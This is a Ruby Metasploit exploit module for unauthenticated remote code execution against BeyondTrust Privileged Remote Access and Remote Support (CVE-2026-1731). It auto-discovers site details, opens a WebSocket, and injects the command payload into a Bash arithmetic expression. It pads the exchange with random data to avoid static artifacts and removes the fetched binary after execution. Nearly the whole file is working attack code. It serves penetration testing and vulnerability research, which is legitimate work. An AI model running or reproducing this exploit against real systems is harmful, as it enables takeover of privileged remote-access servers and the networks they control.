## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Beyondtrust include Msf::Exploit::Remote::HttpClient include Rex::Proto::Http::WebSocket prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution', 'Description' => %q{ This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the user-selected target. The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1 and prior, and PRA versions 24.3.4 and prior. Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL) and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior. Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site. }, 'License' => MSF_LICENSE, 'Author' => [ 'Harsh Jaiswal', # Discovery 'Jonah Burgess (CryptoCat)' # Module ], 'References' => [ ['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731 ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731) ], 'DisclosureDate' => '2026-02-06', 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ARCH_CMD], 'Privileged' => false, # Executes as the site user. 'Targets' => [ [ 'Command Injection', { 'Payload' => { 'DisableNops' => true, # We are injecting into a Bash arithmetic evaluation: a[$(command)]0. # We must avoid characters that break the subshell or the arithmetic structure. 'BadChars' => '[$()]' } } ], ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, # A writable directory on the target for fetch based payloads to write to. 'FETCH_WRITABLE_DIR' => '/var/tmp', # Delete the fetch binary after execution. 'FETCH_DELETE' => true, # By default, a deployed site, like Remote Support, is expected to be located at the root path. 'URIPATH' => '/' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_advanced_options( [ OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']), OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.']) ] ) end def check version = get_version return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil? version = Rex::Version.new(version) return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1') CheckCode::Safe("BeyondTrust version #{version} is not vulnerable") end def exploit # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully # establish a WebSocket connection to the target site application. By default, we query the target site to # discover this, however a user can manually set either the expected company name or FQDN as a module option. site_info = get_site_info if site_info.nil? fail_with(Failure::UnexpectedReply, 'Failed to get the site info.') end vprint_status("Company name: #{site_info[:company]}") vprint_status("Site FQDN: #{site_info[:server]}") headers = { # This is the vulnerable application which is reachable over a WebSocket to the target site. 'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin' } if !site_info[:company].blank? print_status("Using company name: #{site_info[:company]}") headers['X-Ns-Company'] = site_info[:company] elsif !site_info[:server].blank? print_status("Using site FQDN: #{site_info[:server]}") headers['Host'] = site_info[:server] else fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.') end wsock = connect_ws( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'nw'), 'headers' => headers ) prefix = Rex::Text.rand_text_alpha(rand(1..5)) suffix = rand(0..5) wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n") # Complete the sequence with randomized dummy data to avoid static artifacts wsock.put_wstext("#{SecureRandom.uuid}\n") # remoteCookie wsock.put_wstext("#{rand(0..2)}\n") # remoteAuthType (usually 0, 1, or 2) wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey while wsock.has_read_data? datastore['WFSDELAY'] frame = wsock.get_wsframe break if frame.nil? if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.') break end end wsock.wsclose rescue Rex::Proto::Http::WebSocket::ConnectionError => e if e.http_response && !e.http_response.body.blank? if e.http_response.body == 'Invalid company or app name' print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.") else print_error(e.http_response.body) end end fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}") end end